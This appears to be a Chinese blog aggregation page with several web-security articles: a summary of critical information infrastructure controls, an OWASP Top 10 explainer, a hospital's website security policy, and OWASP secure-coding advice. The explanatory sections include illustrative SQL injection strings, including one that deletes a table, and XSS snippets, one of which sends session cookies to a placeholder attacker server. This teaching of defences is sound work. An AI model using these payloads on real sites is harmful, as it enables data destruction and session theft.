精华内容
下载资源
问答
  • 关键信息基础设施安全控制措施

    千次阅读 2020-02-27 09:22:15
    《信息安全技术关键信息基础设施安全控制措施》解读 首先什么是关键信息基础设施? 关键信息基础设施critical information infrastructure 公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等...

    《信息安全技术 关键信息基础设施安全控制措施》

    概括:关键信息基础设施运营者应通过资产识别、威胁识别、 脆弱性识别、漏洞管理、已有安全措施识别和风险分析对关键信息基础设施进行风险识别;关键信息基础设施运营者在满足等级保护合规要求后,采用同步规划、同步建设、同步使用的三同步原则,实行网络安全责任制对关键信息基础设施进行数据保护、灾难备份、人员组织、人员培训、维护和供应链等方面实施安全保护措施;关键信息基础设施运营者每年至少应进行一次安全评估,在安全评估中发现的问题应及时整改;采取检测预警制度,并制定应急处置计划,定期开展应急培训、应急演练等,发生安全事件时,按照应急处置计划处理,并在安全事件结束后进行事件总结和改进。

    首先什么是关键信息基础设施?

    关键信息基础设施 critical information infrastructure

    公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域,以及其他一旦遭到破坏、丧失功能或者数据泄露,可能严重危害国家安全、国计民生、公共利益的信息设施。

    关键信息基础设施安全控制包括几方面?

    1、风险识别

    2、安全防护

    3、检测评估

    4、监测预警

    5、应急处置

    接下来我们逐一进行分析。

    (一)风险评估

    1、资产识别

    应围绕关键信息基础设施承载的关键业务,识别关键信息基础设施的资产,形成资产清单明确资产的管理责任人;对数据进行分类并按照分类标准制定符合其安全需求的保护策略。

    2、威胁识别

    识别关键信息基础实施面临的威胁,并判断威胁可能性。

    3、脆弱性识别

    可采用脆弱性扫描工具或技术定期对关键信息基础实施网络、信息系统及应用程序进行脆弱性扫描。

    4、漏洞管理

    应使用漏送管理工具,自动识别、记录、处理、更新安全漏洞相关信息,对发现的安全漏洞在确保不影响业务连续性的前提下及时修复,修复后经改测试才可使用。

    5、已有安全措施识别

    识别组织已有安全措施,并对安全措施有效性进行确认。

    6、风险分析

    根据识别的资产、威胁、脆弱性进行风险分析。

    (二)安全防护

    1、等级保护合规要求

    应根据定级对象的安全保护等级的安全要求进行安全建设、管理和运维,在等保基础上,对关键信息基础设施实施分区分域管理,根据承载业务的重要程度和数据敏感程度制定不同的安全策略。

    2、网络安全于信息化同步要求

    关键信息基础设施运营者应做到同步规划、同步建设、同步使用。

    (1)在关键基础设施建设或改建之处,应从本组织的业务出发,同步安全需求,形成安全需求书,基于安全需求书,定义关键信息基础设施的网络安全需求,形成网络安全功能和性能说明书,并得到网络安全责任部门签字;

    (2)在明确定义网络安全需求后,设计网络安全体系结构,明确系统内各类信息安全组件提供的服务以及可能的实现机制,在详细的安全设计中,细化安全机制在关键信息基础设施中的具体实现,建设完成后,组织对关键信息基础设施进行验收;

    (3)同步运行安全设施,确保安全设施的启用状态,并安排对应安全级别的运维,对安全设施实施配置管理,若出现关键信息基础设施及其运行环境发生明显变化的情况,评估风险,及时升级安全措施并实施变更管理。

    3、网络安全责任制

    关键信息基础设施运营者应明确责任主体,建立关键信息基础设施应遵循职责分离、最小特权的原则设置相关岗位,明确岗位职责与风险。

    4、数据保护

    关键信息基础设施运营者应建立规范的个人信息保护制度,符合GB/T 35273;运营者的个人信息和重数据应在境内存储,若确需出境,则需进行出境评估。

    5、灾难备份

    关键信息基础设施运营者应确定灾难备份目标,制定策略,准备技术方案,建设灾备中心,制定并实施业务连续性计划,确保关键信息基础设施的业务连续性。

    6、人员与组织安全

    建立网络安全管理框架,设立专门的网络安全管理机构,健全完善网络安全管理制度,落实网络安全防护措施。

    做好人员安全审查(背景调查等),进行人员筛选(持证上岗)、人员调动或离职时及时清除访问权限。

    7、培训

    入职培训应包括安全意识教育和基础安全培训,至少每年进行一次网络安全培训,培训后应进行技能考核。

    8、维护

    关键信息基础设施运营者应审核并监视维护工具的使用,使用前进行恶意代码监测,维护时应填写维护记录,维护后确保设备仍可正常工作。

    若采用境外远程维护,则需提前进行备案(远程维护策略、规程、工具),采用强鉴别技术建立远程维护会话,并对维护活动进行管理、控制和审计,维护日志留存不少于12个月,定期对远程维护日志进行审查。

    9、供应链保护

    在选择网络产品、服务和网络产品、服务供应商时,应进行评估,确保符合国家相关标准要求,进行背景调查等,签署合同应明确产品和服务的设计、开发、实施、验证、交付、支持过程,定期检查、评审和审核供应商的服务支付。

    (三)检测评估

    1、自评估

    每年至少进行一次安全评估,从合规检查、技术检测、分析评估三个主要环节进行,可选择自行或委网络安全服务机构进行,根据评估结果进行整改,并将评估结果及时上报对应的关键基础设施安全保护工作部门。

    2、安全检测

    键信息基础设施运营者应通过关键信息基础设施安全保护工作部门认可的网络安全服务机构进行检测评估,在对检测评估发现的安全问题进行有效整改后方可上线。

    3、安全抽查

    关键信息基础设施运营者应积极配合关键信息基础设施安全保护工作部门组织开展的关键信息基础设施的安全风险抽查检测工作。

    (四)监测预警

    1、安全监测

    应设施安全监测预警机制,制定安全事件应急预案,建立并完善监测预警制度,提高监测能力,确定监测对象、指标、频率,定期对监测结果进行安全评估;

    可发现攻击行为,并采用自动分析工具对攻击事件实时分析,可发现未授权本地、网络和远程连接以及对信息系统的非授权使用,当发现信息系统异常情况时,应及时告警;

    进行物理访问检测,形成物理访问日志,定期或发生安全事件时,审查物理访问日志;安装物理入侵警报装置;

    关键信息基础设施运营者应对公开来源的网站信息(如社交网站信息)进行监测,以确定组织信息是否已被未经授权的方式披露;

    采用白名单、黑名单等方式,在网络出入口以及系统主机、移动计算设备上实施恶意代码防护机制,并配置恶意代码防护机制,定期扫描信息系统,检测到恶意代码及时阻断或隔离恶意代码;在系统出入口或网站中工作站、服务器或移动计算设备上部署垃圾信息检测与防护机制,确保恶意代码和垃圾信息防护机制及时更新。

    2、信息通报

    关键信息基础设施运营者应根据国家行业主管或监管部门关键信息基础设施网络安全信息通报制度的要求;

    关键信息基础设施运营者应以适当的方式参与本行业、本领域的关键信息基础设施网络安全监测预警和信息通报制度,持续接收行业主管或监管部门发布的安全风险、预警信息和应急防范措施建议。

    (五)应急处置

    关键信息基础设施运营者应制定组织的网络安全事件预警,明确机构职责,确立预警监测、研判发布、预警响应、警报解除等流程,对预案演练、宣传、培训等工作进行规划,落实保障措施;

    定期培训、演练,总结和改进。

     

     

     

     

    展开全文
  • PCI DSS数据安全测评旨在促进并增强持卡人账户数据安全,为保护帐户数据的技术和操作要求提供了一个基准,便于统一的数据安全措施在全球范围内的广泛应用。PCI DSS 适用于参与支付卡处理的所有实体——包括商户、...

    在这里插入图片描述

    前言

    本篇文章部分摘要自《OWASP Top 10 2017》。
    OWASP,开放式Web应用程序安全项目(Open Web Application Security Project)是一个组织,它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。其目的是协助个人、企业和机构来发现和使用可信赖软件。
    在这里插入图片描述

    一、SQL注入

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    示例:
    比如我们使用的登录接口:在登录界面包括用户名和密码输入框,以及提交按钮,输入用户名和密码,提交。

    登录时调用接口/user/login/ 加上参数username、password,首先连接数据库,然后后台对请求参数中携带的用户名、密码进行参数校验,即sql的查询过程。假设正确的用户名和密码为ls和123456,输入正确的用户名和密码、提交,相当于调用了以下的SQL语句。

    SELECT * FROM user WHERE username = 'ls' AND password = '123456'
    

    sql中会将#以后的字符串当做注释处理,如果我们使用“’ or 1=1 #” 作为用户名参数,那么服务端构建的sql语句就如下:

    select * from users where username='' or 1=1#' and password='123456'
    

    #会忽略后面的语句,因此上面的sql也等价于:

    select * from users where username='' or 1=1
    

    1=1属于常等型条件,因此这个sql便成为了如下,查询出所有的登陆用户。

    select * from users
    

    其实上面的sql注入只是在参数层面做了些手脚,如果是引入了一些功能性的sql那就更危险了,比如上面的登陆接口,如果用户名使用这个“’ or 1=1;delete * from users; #”,那么在";"之后相当于是另外一条新的sql,这个sql是删除全表,是非常危险的操作,因此sql注入这种还是需要特别注意的。

    防范措施:

    1. 严格限制web应用的数据库的操作权限,给用户提供仅能满足需求的最低权限,从而最大限度的减少注入攻击对数据库的危害。
    2. 严格限制变量的类型。
    3. 对进入数据的特殊字符(‘ “ \ <> & *)进行转义处理(或编码转换)
    4. 不要直接拼接SQL语句,所有的查询语句建议使用数据库提供的参数化查询接口,使用参数化的语句而不是将用户输入的变量嵌入SQL语句中。
    5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,及时修补被检测出的SQL注入漏洞。
    6. 避免网站打印SQL错误信息,比如类型错误、字段不匹配等,可对异常信息做封装,给出友好提示,不直接打印堆栈信息到前端。

    二、失效的身份认证

    应用中负责认证和会话管理的部分没有正确实现,使得攻击者得以泄露密码,口令或令牌,进而可能获取其他用户的身份。

    漏洞成因:

    • 允许自动化的攻击,如凭据填充(credential stuffing,撞库)攻击。
    • 允许暴力破解或其他自动攻击。
    • 允许默认,弱,广为人知的密码, 例 “admin/admin”。
    • 使用弱,或无效的凭据恢复和忘记密码策略。
    • 使用明文,加密或弱hash的密码。
    • 使用损坏的或无效的多因子认证。
    • 在URL中暴露会话ID。
    • 在成功登录后没有轮换会话ID。
    • 没有及时把会话ID,验证令牌等信息无效化。

    防范措施:

    1. 实现多因子认证以组织自动化攻击和凭据重用。
    2. 避免使用默认密码。
    3. 进行弱密码检查。
    4. 对齐密码长度,复杂度。
    5. 确保注册,凭据恢复和API被加固以抵御账户枚举攻击。
    6. 限制或延迟失败的登录尝试,并记录所有失败尝试并在发动攻击时报警。
    7. 使用服务端,安全,内置的会话管理,确保对于每次登录生成随机会话ID。会话ID不应该在URL中,且应该及时销毁。

    三、敏感数据泄露

    攻击者不是直接攻击密码,而是在传输过程中或从客户端(例如:浏览器)窃取密钥、发起中间人攻击,或从服务器端窃取明文数据。这通常需要手动攻击。通过使用图形处理单元(GPU),早前检索的密码数据库可能被暴力破解。

    防范措施:

    1. 对系统处理、存储或传输的数据分类,并根据分类进行访问控制。
    2. 对于没必要存放的、重要的敏感数据,应当尽快清除,或者通过PCI DSS标记或拦截。未存储的数据不能被窃取。
    3. 确保存储的所有敏感数据被加密。
    4. 确保使用了最新的、强大的标准算法或密码、参数、协议和密匙,并且密钥管理到位。
    5. 确保传输过程中的数据被加密,如:使用安全传输层协议(TLS)。确保数据加密被强制执行,如:使用HTTP严格安全传输协议(HSTS )。
    6. 禁止缓存对包含敏感数据的响应。
    7. 确保使用密码专用算法存储密码,如:Argon2 、 scrypt 、bcrypt 或者PBKDF2 。将工作因素(延迟因素)设置在可接受范围。

    四、越权访问

    越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。

    该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问
    在这里插入图片描述

    水平越权访问漏洞

    水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。

    在这里插入图片描述
    假设用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的这种行为就叫做水平越权访问。

    垂直越权访问漏洞

    垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。

    在这里插入图片描述
    由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。

    防范措施:

    1. 前后端同时对用户输入信息进行校验,双重验证机制
    2. 调用功能前验证用户是否有权限调用相关功能
    3. 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
    4. 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
    5. 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

    五、安全性错误配置

    攻击者能够通过未修复的漏洞、访问默认账户、不再使用的页面、未受保护的文件和目录等来取得对系统的未授权的访问或了解。

    使用默认账户和密码、在应用栈中任意一处没有安全加固,云服务器授权没有正确配置、应用服务器,应用框架,库,数据库中的安全设置没有被设为安全值、服务器没有发送安全头或指令等都有可能造成安全性错误配置漏洞。

    防范措施:

    1. 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该进行相同配置,并且,在每个环境中使用不同的密码。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费。
    2. 搭建最小化平台,不包含任何非必须地特性,组件,文档。
    3. 包管理工具中检查并更新安全配置。
    4. 一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构,包括:分段、容器化和云安组。
    5. 向客户端发送安全指令,如:安全标头。
    6. 在所有环境中能够进行正确安全配置和设置的自动化过程。

    六、XSS跨站脚本攻击

    XSS漏洞出现在当web页面包含不可信的数据,却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本,从而劫持会话,或重定向到恶意站点。

    漏洞成因:

    存在三种XSS类型,通常针对用户的浏览器:

    • 反射式XSS:应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分。让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。例如恶意漏洞网站,广告或类似内容。
    • 存储式XSS:你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页展示出来。存储型XSS一般被认为是高危或严重的风险。
    • 基于DOM的XSS:会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。

    防范措施:

    防止XSS需要将不可信数据与动态的浏览器内容区分开。这可以通过如下步骤实现:

    1. 使用自动转义XSS的框架,比如React JS。学习每种框架的XSS保护,并手动处理用例没有覆盖到的部分。
    2. 转义不可信的HTTP请求数据能够解决反射型和存储型XSS威胁。
    3. 在客户端修改浏览器文档时应用内容敏感的编码以抵御DOM XSS。或使用相似的内容敏感转义技术。
    4. 启用CSP(Content Security Policy),这是一种对抗XSS的纵深防御弥补控制。

    七、不安全的反序列化

    反序列化最严重可导致远程代码执行(RCE,Remote Code Execution),但最常见的反序列化安全问题却是通过修改序列化之后的数据字段,从而进行提权或越权操作。

    在这里插入图片描述
    注:用户登陆后,服务器将用户身份信息存储在浏览器cookie中

    存储于cookie中的这份数据的格式是应用程序自定义的,但攻击者通过探索尝试后发现,修改其中的某个字段就能将用户从普通用户修改为管理员。

    存储于cookie中的原始数据:

    Cookie: 3844998|AliceM|y|27|*NU*|active|null|201809
    

    经过修改后的数据

    Cookie: 3844998|AliceM|y|27|*ADMIN*|active|null|201809
    

    由于缺乏对数据完整性的校验,服务器端在收到被修改过的这段数据后,就把当前用户当作ADMIN用户来处理了。

    防范措施:

    唯一的安全模式是不接受来自不可信的参与者的序列化对象。如果不得不接受,使用以下策略:

    1. 对任何序列化对象进行完整性检测,比如数字签名以防止数据篡改或恶意对象。
    2. 在反序列化过程中强制严格的类型限制。
    3. 在低权限环境中独立运行反序列化代码。
    4. 记录反序列化异常和错误,比如收到的类型并不是期望的类型。
    5. 限制或监管入的和出的来自反序列化的容器或服务器的网络链接。
    6. 监管反序列化,当用户一直反序列化时报警。

    八、使用具有已知漏洞的组件

    库,框架等软件组件和应用有着相同的权限。如果存在有漏洞的组件,那么攻击就能够导致数据泄露甚至控制服务器。组件中的漏洞会导致整个应用和API安全性的下降。

    漏洞成因:

    • 管理员不知道使用的所有组件的版本,包括直接使用的和其依赖的组件。
    • 软件易受攻击,不再支持,或是过时的。包括OS, web服务器,DBMS,APIs和所有组件,运行时环境,库。
    • 没有周期性扫描漏洞,没有关注所使用组件的安全公告。
    • 没有及时修复或升级平台,框架,依赖。
    • 软件开发者没有测试升级,更新,补丁的兼容性。

    防范措施:

    1. 移除不使用的依赖、不需要的功能、组件、文件和文档。
    2. 利用如 versions、DependencyCheck 、retire.js等工具来持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE 和NVD等是否发布已使用组件的漏洞信息,可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。
    3. 仅从官方渠道安全的获取组件,并使用签名机制来降低组件被篡改或加入恶意漏洞的风险。
    4. 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁来监控、检测或保护。

    九、不足的日志记录和监控

    日志和监控不足,再加上缺失或无效的事件响应,允许攻击者进一步攻击系统,他可以转向更多系统,进行篡改,提取,销毁数据。大部分研究表明违反往往会在超过200天后才被检测出来,而且还是由外部参与者检测到的。

    漏洞成因:

    • 未记录可审计性事件,如:登录、登录失败和高额交易。
    • 告警和错误事件未能产生或产生不足的和不清晰的日志信息。
    • 没有利用应用系统和API的日志信息来监控可疑活动。
    • 日志信息仅在本地存储。
    • 没有定义合理的告警阈值和制定响应处理流程。
    • 渗透测试和使用DAST工具(如:OWASP ZAP)扫描没有触发告警。
    • 对于实时或准实时的攻击,应用程序无法检测、处理和告警。

    防范措施:

    1. 确保登录,访问控制失败,服务断输入验证失败等事件会被日志记录,同时记录足够多的用户上下文以确定可疑账号。保存足够长的时间以用于分析。
    2. 确保日志以一定格式生成,便于日志管理。
    3. 确保高额转账带有审计跟踪和完整性控制以避免篡改或删除。
    4. 建立有效的监管和报警机制,使得可疑活动被及时检测和响应。
    5. 建立事件响应和恢复计划。

    十、CSRF跨站请求伪造

    简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

    CSRF跨站请求伪造
    防范措施:

    1. 在表单中添加一个随机的数字或字母验证码,通过强制用户和应用进行交互,来有效地遏制CSRF攻击。
    2. 如果检查发现是非正常页面提交的请求(根据Referer进行判断),则极有可能是CSRF攻击。
    3. 在请求的参数里增加一个随机的token参数,且不可被猜测。
    4. 敏感的操作应该使用POST,而不是GET,以form表单的形式提交,可以避免token泄露。

    十一、点击劫持

    点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段。攻击者使用一个或多个透明的 iframe 覆盖在一个正常的网页上,然后诱使用户在该网页上进行操作,当用户在不知情的情况下点击透明的 iframe 页面时,用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。攻击者既可以通过点击劫持设计一个独立的恶意网站,执行钓鱼攻击等

    在这里插入图片描述

    1. 黑客创建一个网页利用iframe包含目标网站;
      隐藏目标网站,使用户无法察觉到目标网站存在;
      构造网页,诱骗用户点击特定按钮 (图1中的PLAY!按钮);
    2. 用户在不知情的情况下点击按钮,触发执行恶意网页的命令。

    防范措施:

    X-FRAME-OPTIONS是目前最可靠的方法。
    X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
    并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
    这个头有三个值:

    DENY // 拒绝任何域加载
    SAMEORIGIN // 允许同源域下加载
    ALLOW-FROM // 可以定义允许frame加载的页面地址
    

    十二、任意文件上传和读取下载

    1. 任意文件上传

    任意文件上传(Unrestricted File Upload),是一种常见的web安全漏洞,由于web应用程序在实现文件上传功能是对上传的文件缺少必要的检查,使得攻击者可上传任意文件。利用该漏洞,攻击者可以直接上传webshell(webShell 就是以asp\php\jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门)、病毒、恶意脚本等各种危险文件,可能导致服务器权限被直接获取,从而危及整个系统的安全运行。

    防范措施:

    1. 校验文件格式,对上传的文件后缀进行判断,如果是上传头像处,仅允许jpg、png、gif等图片文件格式上传,而且对图片进行二次渲染,防止黑客利用解析漏洞来getshell。
    2. 校验文件大小,限制过大文件上传。
    3. 重命名上传文件。

    2. 任意文件读取下载

    由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

    一般链接形式:

    download.php?path=
    down.php?file=
    data.php?file=
    

    防范措施:

    1. 过滤".",使用户在url中不能回溯上级目录
    2. 正则严格判断用户输入参数的格式
    3. php.ini配置open_basedir限定文件访问范围
    4. 设置白名单,即只能下载/访问某个目录下的文件,权限给到最低

    参考资料
    OWASP Top 10 2017:https://owasp.org/www-project-top-ten/
    OWASP Top 10 2017(中文版):https://wiki.owasp.org/images/d/dc/OWASP_Top_10_2017_%E4%B8%AD%E6%96%87%E7%89%88v1.3.pdf

    展开全文
  • ***医院将认真开展网络与信息安全工作,通过检查进一步明确安全责任,建立健全的管理制度,落实技术防范措施,保证必要的经费和条件,对有毒有害的信息进行过滤、对用户信息进行保密,确保网络与信息安全。...
     
    

    网络与信息的安全不仅关系到正常业务的开展,还将影响到国家的安全、社会的稳定。***医院将认真开展网络与信息安全工作,通过检查进一步明确安全责任,建立健全的管理制度,落实技术防范措施,保证必要的经费和条件,对有毒有害的信息进行过滤、对用户信息进行保密,确保网络与信息安全。

    一、信息安全保密管理制度

    1、***医院建立了健全的信息安全保密管理制度,实现信息安全保密责任制,切实负起确保网络与信息安全保密的责任。严格按照“谁主管、谁负责”、“谁主办、谁负责”的原则,落实责任制,明确责任人和职责,细化工作措施和流程,建立完善管理制度和实施办法,确保使用网络和提供信息服务的安全。

    2、网站内容更新全部由工作人员完成,工作人员素质高、专业水平好,有强烈的责任心和责任感。网站所有信息发布之前都经分管领导审核批准。工作人员采集信息将严格遵守国家的有关法律、法规和相关规定。严禁通过***医院官方网站散布相关法律法规明令禁止的信息(即“九不准”),一经发现,立即删除。

    3、遵守对短信服务信息监视,保存、清除和备份的制度。开展对网络有害信息的清理整治工作,对违法犯罪案件,报告并协助公安机关查处。

    4、所有信息都及时做备份。

    5、制定并遵守安全教育和培训制度。加大宣传教育力度,增强用户网络安全意识,自觉遵守信息安全管理有关法律、法规,不泄密、不制作和传播有害信息。

    6、***医院郑重承诺尊重并保护患者的个人隐私。

    ***医院网络中心会定期对相关人员进行网络信息安全培训并进行考核,使员工能够充分认识到网络安全的重要性,严格遵守相应规章制度。

    二、信息安全审核制度

    为使我院网站信息发布工作进一步规范化和制度化,保证医院信息发布及时、准确,更好地展示医院风貌和医院发展动态,更好的为医院中心工作服务,特制定此制度。
        一、信息发布内容
        总原则:遵循积极、健康、向上,准确、及时地反映各项工作最新动态。
        (一)由医院主办或承办的各类活动;
        (二)医院管理改革、医德医风建设、业务技术开展等;
        (三)针对个别体现新意、抢救成功、拾金不昧等具有新闻性的信息等;
        二、信息发布程序
        (一)反映医院重大事项信息稿件由医院办公室负责安排组织与提供,并经主管领导同意,审核后方可发布。
        (二)各科室提供的信息,由各科室负责人进行初审,签字后上报院办公室,领导审核后方可发布。
        三、信息发布时间
        信息原则上在24小时内发布。
        四、安全要求
        (一)提高安全意识,加强权限管理。
        (二)操作人员认真学习《计算机信息网络国际互联网安全保护管理办法》,提高维护网络安全的警惕性和自觉性。
        (三)发布的信息必须符合国家法律和法规,不得含有下列内容
        1、违反宪法所确定的基本原则;
        2、危害国家安全,泄露国家秘密,煽动颠覆国家政权,破坏国家统一;
        3、损害国家的荣誉和利益;
        4、煽动民族仇恨、民族歧视,破坏民族团结;
        5、破坏国家宗教政策,宣扬邪教,宣扬封建迷信;
        6、散布谣言,编造和传播假新闻,扰乱社会秩序,破坏社会稳定;
        7、散布淫秽、色情、赌博、暴力、恐怖或者教唆犯罪;
        8、侮辱或者诽谤他人,侵害他人合法权益;
        9、法律、法规禁止的其他内容。
        (四)接受并配合公安机关的安全监督、检查和指导,如实向公安机关提供有关安全保护的信息、资料及数据文件,协助公安机关查处通过国际联网的计算机信息网络的违法犯罪行为。

     

     

     

    三、技术安全保障措施

    1、网站管理员经常浏览医院网站,发现有任何异常及时解决问题。

    2、若网站出现乱码、广告信息、非法信息、反动言论等,记录下相关的信息(提交的时间、IP等)汇报相关领导,利于做进一步处理。

    3、严禁浏览一些非法网站及黑客网站、下载一些不明程序、安装一些不明插件。

    4、加强注意ICQ(QQ、MSN等)工具的使用,严禁随意传播及接收一些文件,访问一些URL。

    5、信息发布内容不要添加一些不必要的外部链接。

    6、转载的内容不要直接粘贴到网站后台编辑器进行发布,请使用记事本过滤后再粘贴到编辑器内进行发布。

    7、各管理员密码的设置务必包含数字、字母及特殊符号,且长度建议超过8位以上,每个月进行修改。

    8、请超级管理员对未使用的网站后台用户账号进行清理并登记,对未使用的用户账号及时删除。

    9、各管理员及时对操作系统、IE浏览器及相关软件进行升级,防止黑客利用系统漏洞进行病毒及木马等置入。(建议安装safes360,对系统进行漏洞扫苗并打好相关补丁)

    10、各管理员电脑请安装正版杀毒软件,并及时升级版本更新病毒库,利于杀毒软件及时对电脑进行病毒及木马查杀。

    11、为了以防万一,各管理员对网站维护的内容信息,请在本机建好相关的文件夹并将内容保存于此,建议至少6个月以上。

    12、管理员找一些网站安全检测工具,定期对网站进行扫苗。

     

     

    四、用户信息安全保障措施

    1、相关内部人员不得对外泄露需要保密的信息

    2、内部人员不得发布、传播国家法律禁止的内容

    3、信息发布之前应该经过相关人员审核

    4、对相关管理人员设定网站管理权限,不得越权管理网站信息

    5、一旦发生网站信息安全事故,应立即报告并及时进行协调处理

    6、对有毒有害信息进行过滤,对用户信息进行保密

    7、对登录用户信息阅读与发布按需要进行设置权限

    8、对会员进行会员专区形式的信息管理及审核

    9、对用户在网站上的行为进行有效监控,保证内部信息安全

     

    展开全文
  • Open Web Application Security Project(OWASP)是世界范围内的非盈利组织,关注于提高软件系统的安全性。它们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。OWASP发布的十大安全...

    Open Web Application Security Project(OWASP)是世界范围内的非盈利组织,关注于提高软件系统的安全性。它们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。OWASP发布的十大安全风险整理总结了Web应用开发中常见的漏洞,可以用来探查和分析应用的安全问题。

    不过,仅仅指出问题往往是不够的,开发人员是应用的基础,为了开发出安全的应用,必须要为他们提供必要的帮助和支持。编写Web应用的软件开发人员需要掌握和练习各种安全编码的技术。Web应用的每一层,包括用户界面、业务逻辑、控制器以及数据库代码,在编写的时候都必须将安全问题牢记在心,这可能是非常困难的一项任务,因为大多数开发人员并没有太多安全方面的知识,而用来构建Web应用的语言和框架在安全方面通常缺乏必要的控制。在需求和设计阶段,可能也会有固有的缺陷,很少有组织为开发人员提供需求规约以指导他们编写安全的代码。

    针对这一问题,OWASP从应用的架构、设计和研发角度总结了构建安全应用的十大控制措施,致力于提高软件设计和开发人员的安全意识和能力,进而提升应用的安全性。这十大措施中,有的很具体,有的只是通用的分类,有的是技术性的,有的是过程相关的。

    具体来讲,这十大控制措施如下:

    1. 参数化查询

      SQL注入是Web应用中最危险的漏洞之一,因为SQL注入较为容易被黑客探测到并且会给应用带来毁灭性的打击。只需在你的Web应用中注入一条简单的恶意SQL,你的整个数据库可能就会被窃取、擦除或者篡改。在运行数据库的主机上,甚至可以借助Web应用执行危险的操作系统命令。

      为了防止SQL注入,开发人员必须阻止那些不可信任的输入,这些输入将会解析成为SQL命令的一部分。要实现这一点,最好的一种方式就是使用被称做查询参数化(Query Parameterization)的编程技术。

      例如,在Java之中,查询参数化如下所示:

      String newName = request.getParameter("newName"); 
      String id = request.getParameter("id"); 
      PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");  
      pstmt.setString(1, newName);  
      pstmt.setString(2, id);
      

      在PHP之中,查询参数化样例如下所示:

      $email  = $_REQUEST[‘email’]; 
      $id’= $_REQUEST[‘id’]; 
      $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);  
      $stmt->bindParam(':new_email', $email); 
      $stmt->bindParam(':user_id', $id);
      
    2. 对数据进行编码

      编码(encoding)是一个很强大的工具,它有助于防范很多类型的攻击,尤其是注入攻击。本质上来讲,编码就是将特殊字符转换成对等的字符,但是转换后的字符对于目标解析器来说不再是敏感的。关于编码的一个样例就是防止跨站脚本攻击(XSS,Cross Site Scripting)。

      Web开发人员经常会动态地构建Web页面,页面中包含开发人员构建的HTML/JavaScript代码以及数据库中的数据,而这些数据最初是由用户输入的。输入的数据应该被视为不可信任且危险的,在构建安全的Web应用时,需要对其进行特殊的处理。当攻击者欺骗你的用户执行恶意的JavaScript时,就会发生跨站脚本攻击或者更恰当地称之为JavaScript注入,这些JavaScript脚本最初是构建到Web站点中的,XSS攻击会在用户的浏览器中执行,因此会产生各种各样的影响。

      例如,XSS站点涂改:

      <script>document.body.innerHTML(“Jim was here”);</script>

      XSS session窃取:

      <script> var img = new Image(); 
      img.src="hxxp://<some evil server>.com?” + document.cookie; 
      </script>

      持久化XSS(Persistent XSS)或存储XSS(Stored XSS)指的是XSS攻击嵌入到了站点的数据库或文件系统之中了。这种XSS更为危险,因为当攻击执行的时候,用户已经登录站点了。当将XSS攻击置于URL的结尾处时,会发生反射XSS(Reflected XSS),它会欺骗受害者访问该URL,当访问的时候攻击就会触发。

      阻止XSS的关键编程技术就是输出编码,它会在输出的时候执行,如果你构建用户界面的话,也就是在将非信任的数据添加到HTML中的时候。能够阻止XSS的编码形式包括HTML实体编码、JavaScript编码以及百分号编码(也称为URL编码)。

    3. 校验所有的输入

